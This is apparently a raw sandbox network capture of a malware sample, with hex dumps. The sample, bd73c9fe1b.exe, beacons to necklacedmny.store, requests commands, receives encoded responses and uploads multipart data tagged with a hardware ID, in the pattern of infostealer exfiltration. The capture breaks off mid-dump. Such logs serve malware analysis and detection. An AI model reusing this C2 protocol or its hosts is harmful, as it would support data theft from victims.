2024-10-31 04:07:16 UTC	1019	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d9lli4m9el6kv7ie59l8nsol12; expires=Sun, 23-Feb-2025 21:53:54 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=kfbpqDvw6YKmL1FnWpSJa7oCrFZJ5soosZg2da6xF2Yqh%2BsWllv7fXWkxREADgbaY%2B6yxeaVeSFmllqq1VTglEDA%2B30%2BV5AOzAJqT%2B0TE0qSIZnZX07unf8peSPBXDwxUay%2FhMM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c6f2fe3645fa-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1626&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1739339&cwnd=252&unsent_bytes=0&cid=7db04e74c5bd2155&ts=506&x=0"
2024-10-31 04:07:16 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-10-31 04:07:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49857	188.114.97.3	443	1056	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:07:16 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 52 Host: necklacedmny.store
2024-10-31 04:07:16 UTC	52	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=4SD0y4--legendaryy&j=
2024-10-31 04:07:17 UTC	1011	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=q9np3pr6k8cjg13tmi7qsgm64k; expires=Sun, 23-Feb-2025 21:53:56 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GF7hdsXzw2ukLCEUBzb4hbWDkn%2BX5ICqVDiuKu1PDTCVpkrBvLjY0oQjaeXoIK7nuEzFd1UgTN%2BZTJat0dcj1osjG8yju2ibAws1IDNOWXv2oBygyF2T6RcvD7J1D9d8uKNaMgw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c6fa3ef7466e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2101&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2845&recv_bytes=954&delivery_rate=1430123&cwnd=243&unsent_bytes=0&cid=70bd185d0cb7dad2&ts=719&x=0"
2024-10-31 04:07:17 UTC	358	IN	Data Raw: 34 64 62 0d 0a 66 48 46 6b 66 4c 73 66 51 39 50 67 56 6e 65 57 6e 4f 49 6c 49 75 33 70 6e 34 36 62 70 33 37 55 2b 76 74 4b 44 43 35 6a 5a 56 6b 48 55 78 4a 65 67 53 74 76 38 5a 4d 7a 56 61 7a 6f 6b 46 42 48 77 63 76 2b 36 72 6d 64 47 4c 57 57 69 43 38 67 44 42 55 49 65 30 59 58 42 52 44 49 65 6d 2f 78 68 53 35 56 72 4d 65 5a 42 30 65 44 79 36 57 73 2f 73 30 63 74 5a 61 5a 4b 32 64 42 45 77 6b 36 46 42 30 44 46 4e 35 38 4a 37 4b 4d 4f 78 4c 7a 2b 59 4e 50 54 49 53 45 39 2b 4f 35 69 31 79 78 67 4e 6c 77 4c 6d 4d 47 45 54 67 78 45 42 63 58 6d 57 4a 76 71 4d 49 7a 47 62 53 6d 77 45 52 48 6a 34 58 35 36 76 44 50 46 72 79 65 6d 43 35 6d 58 67 6f 44 4d 52 51 54 41 42 58 55 64 54 4f 2f 68 6a 77 5a 39 66 4f 44 42 77 37 50 6a 4f 57 73 6f 59 56 50 68 4a 75 49 4f 58 Data Ascii: 4dbfHFkfLsfQ9PgVneWnOIlIu3pn46bp37U+vtKDC5jZVkHUxJegStv8ZMzVazokFBHwcv+6rmdGLWWiC8gDBUIe0YXBRDIem/xhS5VrMeZB0eDy6Ws/s0ctZaZK2dBEwk6FB0DFN58J7KMOxLz+YNPTISE9+O5i1yxgNlwLmMGETgxEBcXmWJvqMIzGbSmwERHj4X56vDPFryemC5mXgoDMRQTABXUdTO/hjwZ9fODBw7PjOWsoYVPhJuIOX
2024-10-31 04:07:17 UTC	892	IN	Data Raw: 6a 38 65 38 65 79 4c 54 6b 32 43 69 2f 44 6d 39 73 59 63 73 5a 4b 54 4a 32 52 49 44 41 6f 39 48 68 4e 47 55 4a 6c 36 4f 66 48 61 64 44 62 78 37 6f 64 4c 56 73 32 78 76 66 4f 33 33 46 79 78 6c 4e 6c 77 4c 6b 51 45 42 44 67 56 48 41 55 57 30 6d 38 68 6f 34 51 35 45 4f 62 34 68 55 6c 4b 6a 4a 6e 33 34 76 2f 47 46 62 32 52 6e 43 39 71 44 45 39 48 50 41 5a 54 58 6c 37 34 63 43 71 39 69 43 4d 56 74 4f 48 4f 58 67 43 49 68 37 32 30 75 63 45 64 73 70 6d 64 4a 6d 42 49 44 51 45 31 45 78 77 41 46 4e 6c 36 4b 37 6d 4b 4e 52 6a 2f 38 59 42 43 54 59 75 4e 38 65 33 38 68 56 4c 32 6e 34 46 6f 4e 67 77 76 41 44 67 4d 55 54 4d 64 31 33 4d 6d 70 38 49 72 57 2b 32 2b 68 30 73 41 31 38 76 7a 36 66 62 58 48 61 53 64 6c 7a 70 69 53 51 63 4b 4f 42 41 54 41 78 6e 55 63 79 65 32 Data Ascii: j8e8eyLTk2Ci/Dm9sYcsZKTJ2RIDAo9HhNGUJl6OfHadDbx7odLVs2xvfO33FyxlNlwLkQEBDgVHAUW0m8ho4Q5EOb4hUlKjJn34v/GFb2RnC9qDE9HPAZTXl74cCq9iCMVtOHOXgCIh720ucEdspmdJmBIDQE1ExwAFNl6K7mKNRj/8YBCTYuN8e38hVL2n4FoNgwvADgMUTMd13Mmp8IrW+2+h0sA18vz6fbXHaSdlzpiSQcKOBATAxnUcye2
2024-10-31 04:07:17 UTC	1369	IN	Data Raw: 33 66 39 31 0d 0a 64 63 43 36 34 69 7a 30 48 2f 76 4b 4f 56 55 32 46 6a 76 50 67 2f 4d 6f 63 74 35 6d 58 49 6d 55 4d 54 30 63 38 42 6c 4e 65 58 76 5a 77 4d 61 4f 49 50 77 53 32 79 34 4e 4a 54 6f 69 64 76 66 4f 33 33 46 79 78 6c 4e 6c 77 4c 6b 63 48 43 7a 63 65 46 52 51 51 31 6d 38 72 6f 34 59 36 45 66 6a 77 69 55 70 50 69 70 6e 35 37 4f 76 45 47 62 47 57 6c 44 70 72 44 45 39 48 50 41 5a 54 58 6c 37 6a 53 53 61 68 6b 7a 4e 58 77 66 32 4f 53 55 65 5a 79 2b 4b 69 34 49 55 62 75 74 6a 42 61 47 31 41 44 41 34 2b 45 51 45 4d 45 74 68 76 4a 72 69 4c 50 68 54 36 38 59 74 4c 52 5a 32 41 38 75 54 32 78 42 47 37 6b 35 30 6f 4c 67 4a 42 41 43 4e 65 53 30 59 2f 31 48 49 7a 73 70 4e 32 49 50 66 77 6a 6b 42 57 7a 35 53 7a 39 62 6e 43 45 50 62 41 32 53 6c 69 51 41 41 49 Data Ascii: 3f91dcC64iz0H/vKOVU2FjvPg/Moct5mXImUMT0c8BlNeXvZwMaOIPwS2y4NJToidvfO33FyxlNlwLkcHCzceFRQQ1m8ro4Y6EfjwiUpPipn57OvEGbGWlDprDE9HPAZTXl7jSSahkzNXwf2OSUeZy+Ki4IUbutjBaG1ADA4+EQEMEthvJriLPhT68YtLRZ2A8uT2xBG7k50oLgJBACNeS0Y/1HIzspN2IPfwjkBWz5Sz9bnCEPbA2SliQAAI
2024-10-31 04:07:17 UTC	1369	IN	Data Raw: 45 56 30 6e 6b 6c 73 59 38 2f 47 2f 72 33 6a 45 39 4d 69 4a 6e 77 36 66 48 50 46 62 4f 55 6c 43 74 38 54 77 42 48 64 56 34 55 48 6c 36 42 50 51 61 43 74 52 64 56 36 37 43 5a 42 30 65 44 79 36 57 73 2b 4d 30 62 75 4a 79 4c 4a 6e 78 43 42 67 63 39 46 68 73 42 45 74 64 7a 4d 37 6d 44 4e 42 76 37 39 6f 6c 44 51 59 75 50 38 65 75 35 69 31 79 78 67 4e 6c 77 4c 6d 51 43 48 53 46 63 50 51 30 65 33 6d 30 33 71 73 49 72 57 2b 32 2b 68 30 73 41 31 38 76 35 35 2f 50 4d 48 37 2b 63 6c 43 68 6e 51 77 67 50 4e 68 59 42 42 78 54 4c 65 53 53 77 6a 54 34 52 2f 50 4b 50 53 30 53 64 67 4c 32 69 75 63 49 45 39 73 44 5a 43 47 56 61 49 68 55 70 58 67 78 49 42 35 6c 36 4c 66 48 61 64 42 7a 34 2f 34 46 4e 52 6f 53 4f 38 4f 7a 38 7a 78 75 36 6d 4a 6b 72 61 45 6f 4d 44 7a 4d 53 48 Data Ascii: EV0nklsY8/G/r3jE9MiJnw6fHPFbOUlCt8TwBHdV4UHl6BPQaCtRdV67CZB0eDy6Ws+M0buJyLJnxCBgc9FhsBEtdzM7mDNBv79olDQYuP8eu5i1yxgNlwLmQCHSFcPQ0e3m03qsIrW+2+h0sA18v55/PMH7+clChnQwgPNhYBBxTLeSSwjT4R/PKPS0SdgL2iucIE9sDZCGVaIhUpXgxIB5l6LfHadBz4/4FNRoSO8Oz8zxu6mJkraEoMDzMSH
2024-10-31 04:07:17 UTC	1369	IN	Data Raw: 34 4b 62 71 45 4f 68 54 79 38 6f 30 48 44 73 2b 4d 35 61 79 68 68 54 75 73 6c 5a 38 2f 66 33 6b 47 42 32 70 65 44 45 67 48 6d 58 6f 74 38 64 70 30 47 50 6a 30 6a 55 4a 45 68 34 7a 2b 37 66 58 42 45 62 75 63 6b 43 78 72 58 68 4d 42 4e 52 34 63 43 42 48 56 62 79 2b 30 67 6a 68 56 75 72 36 48 58 77 44 58 79 38 7a 37 2b 59 55 44 2b 49 48 5a 4c 32 49 4d 57 55 63 30 45 77 45 4b 45 64 6c 38 49 72 57 4a 4d 78 50 79 2f 34 4e 43 51 34 71 4e 2f 4f 7a 31 7a 78 75 2b 6b 70 63 6c 61 45 67 48 41 58 74 51 55 77 45 47 6d 53 56 68 67 34 38 36 48 50 66 34 6a 56 46 6f 76 73 76 69 6f 75 43 46 47 37 72 59 77 57 68 71 52 77 6b 4c 50 68 59 57 42 78 62 54 64 53 36 2b 6b 44 55 61 2f 66 6d 4c 53 6b 2b 42 6a 76 50 2b 2f 73 34 58 76 70 47 58 4c 69 34 43 51 51 41 6a 58 6b 74 47 4b 4e Data Ascii: 4KbqEOhTy8o0HDs+M5ayhhTuslZ8/f3kGB2peDEgHmXot8dp0GPj0jUJEh4z+7fXBEbuckCxrXhMBNR4cCBHVby+0gjhVur6HXwDXy8z7+YUD+IHZL2IMWUc0EwEKEdl8IrWJMxPy/4NCQ4qN/Oz1zxu+kpclaEgHAXtQUwEGmSVhg486HPf4jVFovsviouCFG7rYwWhqRwkLPhYWBxbTdS6+kDUa/fmLSk+BjvP+/s4XvpGXLi4CQQAjXktGKN
2024-10-31 04:07:17 UTC	1369	IN	Data Raw: 69 6a 41 62 35 76 2b 50 42 77 37 50 6a 4f 57 73 6f 59 55 74 6f 4a 2b 65 4a 79 78 6c 42 68 77 36 46 42 41 4e 45 70 6c 69 62 36 6a 43 4d 78 6d 30 70 73 42 4b 54 49 4b 50 37 2b 44 35 78 52 57 78 6b 6f 73 6e 59 55 45 43 42 7a 34 4d 45 68 51 52 30 6e 67 69 74 59 30 37 47 66 7a 30 77 41 6b 41 69 4a 4f 39 74 4c 6e 70 48 36 65 53 32 77 39 30 57 67 59 4c 4b 68 55 65 43 6c 37 47 4d 7a 6a 78 68 54 68 56 72 4c 36 41 52 6b 32 64 6a 76 7a 6d 38 38 67 55 75 5a 32 63 4a 32 70 49 43 67 6b 70 45 42 77 47 47 4e 4a 38 4a 4c 4b 4a 50 68 76 39 37 4d 41 4a 41 49 69 54 76 62 53 35 37 77 65 33 6c 5a 56 71 51 45 63 58 41 48 6b 2f 48 51 30 5a 31 57 74 68 72 73 77 74 56 66 50 79 77 42 38 41 68 6f 58 78 37 2f 37 4e 46 4c 4f 59 6b 69 68 68 52 67 38 41 4b 52 51 66 44 41 7a 57 66 69 79 Data Ascii: ijAb5v+PBw7PjOWsoYUtoJ+eJyxlBhw6FBANEplib6jCMxm0psBKTIKP7+D5xRWxkosnYUECBz4MEhQR0ngitY07Gfz0wAkAiJO9tLnpH6eS2w90WgYLKhUeCl7GMzjxhThVrL6ARk2djvzm88gUuZ2cJ2pICgkpEBwGGNJ8JLKJPhv97MAJAIiTvbS57we3lZVqQEcXAHk/HQ0Z1WthrswtVfPywB8AhoXx7/7NFLOYkihhRg8AKRQfDAzWfiy
2024-10-31 04:07:17 UTC	1369	IN	Data Raw: 2b 32 2b 68 30 73 41 31 38 76 39 36 50 58 47 47 37 69 58 6c 43 64 70 52 77 34 4e 4e 51 77 63 41 78 62 56 64 53 79 6a 69 44 34 48 2f 66 65 4e 53 55 69 64 69 4c 32 69 75 63 49 45 39 73 44 5a 47 6d 52 50 44 52 45 32 45 56 4d 5a 55 4d 41 39 4a 72 33 43 62 46 58 6d 37 49 42 4d 51 49 69 46 37 2b 33 78 79 68 61 32 6e 70 49 69 62 55 55 46 43 54 49 59 45 67 73 66 32 48 30 6b 73 59 73 6d 47 4c 53 77 77 45 42 59 7a 39 4f 39 32 2f 58 4f 4c 62 57 4f 32 54 63 67 56 55 45 41 4e 31 35 4c 52 68 2f 4c 63 43 6d 31 67 6a 6b 54 2f 2f 2b 42 52 45 43 50 69 50 33 70 38 73 6f 61 73 5a 57 54 49 57 64 65 43 51 4d 70 48 68 38 43 58 70 63 39 4a 71 6e 43 62 46 58 45 2f 59 74 4c 51 49 4b 65 76 66 4f 33 33 46 79 78 6c 4e 6c 77 4c 6b 51 4b 44 44 30 56 45 41 55 51 30 6e 63 75 76 6f 67 79 Data Ascii: +2+h0sA18v96PXGG7iXlCdpRw4NNQwcAxbVdSyjiD4H/feNSUidiL2iucIE9sDZGmRPDRE2EVMZUMA9Jr3CbFXm7IBMQIiF7+3xyha2npIibUUFCTIYEgsf2H0ksYsmGLSwwEBYz9O92/XOLbWO2TcgVUEAN15LRh/LcCm1gjkT//+BRECPiP3p8soasZWTIWdeCQMpHh8CXpc9JqnCbFXE/YtLQIKevfO33FyxlNlwLkQKDD0VEAUQ0ncuvogy
2024-10-31 04:07:17 UTC	1369	IN	Data Raw: 46 4b 53 34 50 4a 2f 4f 48 70 77 6c 7a 34 32 4a 39 6f 4e 68 78 50 52 7a 38 50 55 31 35 4f 69 79 5a 30 34 74 56 6b 52 2b 75 77 6d 51 64 57 7a 39 4f 76 6f 72 6e 58 58 4f 37 59 33 69 74 38 58 67 63 45 4c 52 31 55 4f 43 44 35 64 69 32 79 6a 6a 55 53 74 4c 44 41 53 41 44 58 73 72 33 76 36 39 64 54 70 34 36 55 4f 47 6b 41 43 52 59 32 45 6c 4e 49 58 70 56 35 4b 72 32 48 4d 77 57 37 37 4a 42 4d 54 4a 6e 48 2b 66 36 35 69 31 79 6e 6b 35 59 36 59 45 74 4f 46 69 30 54 41 77 55 62 33 6a 45 70 6f 49 38 34 56 62 71 2b 6c 55 78 4d 69 59 62 6f 6f 2b 6a 54 48 36 43 66 31 53 42 2f 51 51 31 48 42 46 42 54 48 6c 36 42 50 52 53 79 6a 44 6f 53 34 75 2f 4e 5a 30 75 44 69 50 48 74 2f 6f 56 53 39 70 37 5a 63 44 30 43 51 51 4d 71 58 6b 74 57 54 49 49 6f 63 75 62 53 5a 67 71 36 35 Data Ascii: FKS4PJ/OHpwlz42J9oNhxPRz8PU15OiyZ04tVkR+uwmQdWz9OvornXXO7Y3it8XgcELR1UOCD5di2yjjUStLDASADXsr3v69dTp46UOGkACRY2ElNIXpV5Kr2HMwW77JBMTJnH+f65i1ynk5Y6YEtOFi0TAwUb3jEpoI84Vbq+lUxMiYboo+jTH6Cf1SB/QQ1HBFBTHl6BPRSyjDoS4u/NZ0uDiPHt/oVS9p7ZcD0CQQMqXktWTIIocubSZgq65
2024-10-31 04:07:17 UTC	1369	IN	Data Raw: 50 30 36 36 69 75 64 64 63 37 74 6a 65 4a 6d 4e 4e 41 67 6b 34 44 41 45 41 48 63 39 2b 5a 6f 2b 38 45 52 6a 35 2b 34 35 41 66 72 47 71 39 2f 7a 30 79 68 75 49 70 71 34 35 61 56 78 44 49 54 67 49 45 45 5a 51 6d 57 56 68 36 63 49 56 48 2b 54 7a 6a 30 41 41 77 63 76 35 72 4b 47 46 4f 62 75 56 6e 43 5a 70 44 69 41 4e 4b 78 4d 63 41 56 36 58 50 53 33 78 32 6e 51 55 2f 75 36 4e 53 45 66 44 6a 4f 66 72 75 59 74 63 75 4e 6a 42 61 47 39 47 45 51 6f 30 47 56 38 41 45 4e 63 39 50 76 2b 62 64 41 4f 30 70 74 4d 4a 41 4a 33 4c 70 61 79 2b 79 78 47 33 6d 35 63 72 66 46 34 48 42 43 30 64 56 44 67 67 2f 48 41 73 74 49 77 7a 4b 38 72 66 69 6c 64 4e 67 49 79 2f 7a 50 37 54 48 34 69 6d 72 6a 6c 70 58 45 4d 68 4f 41 67 51 52 6c 43 5a 5a 57 48 70 77 68 55 66 35 50 4f 50 51 41 Data Ascii: P066iuddc7tjeJmNNAgk4DAEAHc9+Zo+8ERj5+45AfrGq9/z0yhuIpq45aVxDITgIEEZQmWVh6cIVH+Tzj0AAwcv5rKGFObuVnCZpDiANKxMcAV6XPS3x2nQU/u6NSEfDjOfruYtcuNjBaG9GEQo0GV8AENc9Pv+bdAO0ptMJAJ3Lpay+yxG3m5crfF4HBC0dVDgg/HAstIwzK8rfildNgIy/zP7TH4imrjlpXEMhOAgQRlCZZWHpwhUf5POPQA

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49866	188.114.97.3	443	1056	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:07:18 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18168 Host: necklacedmny.store
2024-10-31 04:07:18 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 39 35 38 37 39 43 30 42 36 38 45 33 46 31 33 33 46 38 44 32 30 38 43 41 46 31 45 36 33 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D095879C0B68E3F133F8D208CAF1E63B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 04:07:18 UTC	2837	OUT	Data Raw: bb b9 8c 98 dd 7e cd 12 32 f5 4d e7 b8 03 4d ad dd 29 81 f2 25 6f 8d 9b f3 9f 07 bb ae 6e c1 f4 74 a0 46 9e dd 44 3a b6 ea f7 8d 77 8c 30 f7 2d 3a 5e 78 e6 d9 84 b0 07 c8 dc 44 8b 5c 37 7b fb ca 23 5f 36 6d 2b c9 df b7 24 a9 bc 70 d3 dd 98 da 4d 16 48 c1 d0 c9 d5 49 13 55 45 68 ed 5e ef aa d6 a5 b6 55 e8 30 13 67 aa 7a 0c 44 f5 2f c0 e3 2b e7 fb 3b 59 90 f0 70 93 c0 3f ee 4c 10 0e bb be eb 3c d7 34 e8 6e cd 74 c5 e2 cb eb 6d db e8 13 05 d7 da ba 6c 95 3d a2 38 f5 d7 4b e3 d4 69 a8 33 83 0e 15 fa 46 ca d1 d5 a4 6f 98 ff ba be f6 4f ec e7 b8 41 b9 35 35 6f df d7 6e b4 81 3d a9 b9 db c0 6c dc 0d bd e3 2e 85 05 bc 3b 82 4b 1b 1e ce 0b 47 dd 7b be cb 51 82 bb d3 d3 f4 36 9c 58 ee 7c 6d cc b2 92 e5 6e b1 c6 c7 5e d9 b7 ac 49 aa b3 55 f5 d2 ec 6d 9e f3 27 aa 33 Data Ascii: ~2MM)%ontFD:w0-:^xD\7{#_6m+$pMHIUEh^U0gzD/+;Yp?L<4ntml=8Ki3FoOA55on=l.;KG{Q6X\|mn^IUm'3
2024-10-31 04:07:19 UTC	1012	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d95if8r5rbs0s7hvtmqndf2mc4; expires=Sun, 23-Feb-2025 21:53:57 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2T45Yu9VUs48B58Nu3iQfS1QuprLelZvgkruJ1U0MG3aK68PBzqNMmF43ddbAffOy66X%2BpTh5kJXkZQD9TH60HhBbhlspxAH3cY4If8WFxpPxoi3bJnyGypW9IAyxUIkspzvKOY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c7043851e726-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1398&sent=11&recv=24&lost=0&retrans=0&sent_bytes=2844&recv_bytes=19132&delivery_rate=2056818&cwnd=47&unsent_bytes=0&cid=31abfef1fce088d1&ts=847&x=0"
2024-10-31 04:07:19 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 04:07:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49874	188.114.97.3	443	1056	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:07:19 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8789 Host: necklacedmny.store
2024-10-31 04:07:19 UTC	8789	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 39 35 38 37 39 43 30 42 36 38 45 33 46 31 33 33 46 38 44 32 30 38 43 41 46 31 45 36 33 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"D095879C0B68E3F133F8D208CAF1E63B--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-31 04:07:20 UTC	1016	IN	HTTP/1.1 200 OK Date: Thu, 31 Oct 2024 04:07:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=gftkshke4rbv9091r7eev3qqi8; expires=Sun, 23-Feb-2025 21:53:59 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=seE8mAktIdhms1daK0L3V2LDMs%2Fb8LPyQlCuFJy0tlnpTHNjmeJksApqqsZvcHYRAmR1tI%2B%2FEHHMzxigNxXQN0IsZyYLPshEKyrhqpOkMOjAWvFe22ySnWjoI0R%2FsS5Cp8QVlto%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8db0c70deee24869-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=991&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2846&recv_bytes=9730&delivery_rate=2901803&cwnd=251&unsent_bytes=0&cid=546b0c5be84f45d0&ts=842&x=0"
2024-10-31 04:07:20 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 37 0d 0a Data Ascii: 11ok 173.254.250.77
2024-10-31 04:07:20 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49890	188.114.97.3	443	1056	C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-31 04:07:22 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-31 04:07:22 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 30 39 35 38 37 39 43 30 42 36 38 45 33 46 31 33 33 46 38 44 32 30 38 43 41 46 31 45 36 33 42 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data 